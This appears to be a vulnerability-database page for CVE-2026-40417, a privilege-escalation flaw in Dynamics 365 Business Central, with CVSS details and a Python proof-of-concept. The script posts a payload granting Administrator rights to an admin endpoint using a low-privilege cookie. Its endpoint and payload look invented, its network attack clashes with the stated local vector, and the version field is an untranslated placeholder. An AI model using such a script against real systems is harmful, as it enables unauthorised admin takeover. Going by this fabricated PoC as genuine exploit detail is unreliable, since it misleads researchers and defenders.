Weak authentication in Dynamics Business Central allows an authorized attacker to elevate privileges locally.
CVSS Details
CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Configurations (Affected Products)
No configuration data available.
Microsoft Dynamics 365 Business Central < 修复版本
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC for CVE-2026-40417: Weak Authentication Privilege Escalation
# This script demonstrates how a low-privilege user might bypass weak auth checks.
# NOTE: For educational purposes only. Do not run against systems you do not own.
import requests
def attempt_exploit(target_url, session_cookie):
"""
Attempts to exploit the weak authentication to elevate privileges.
"""
headers = {
"Cookie": f"SessionId={session_cookie}",
"Content-Type": "application/json"
}
# Simulate a request that should require Admin privileges
# Due to weak auth, this endpoint might accept the low-priv session
payload = {
"action": "update_user_permissions",
"target_user": "current_user",
"new_role": "Administrator"
}
try:
response = requests.post(f"{target_url}/api/admin/config", json=payload, headers=headers, verify=False)
if response.status_code == 200 and "success" in response.text:
print("[+] Exploit successful! Privileges escalated.")
return True
else:
print("[-] Exploit failed. Server returned:", response.status_code)
return False
except Exception as e:
print(f"[-] An error occurred: {e}")
return False
if __name__ == "__main__":
# Example usage
print("CVE-2026-40417 PoC - Dynamics Business Central")
# attempt_exploit("http://target-server", "low_priv_session_token")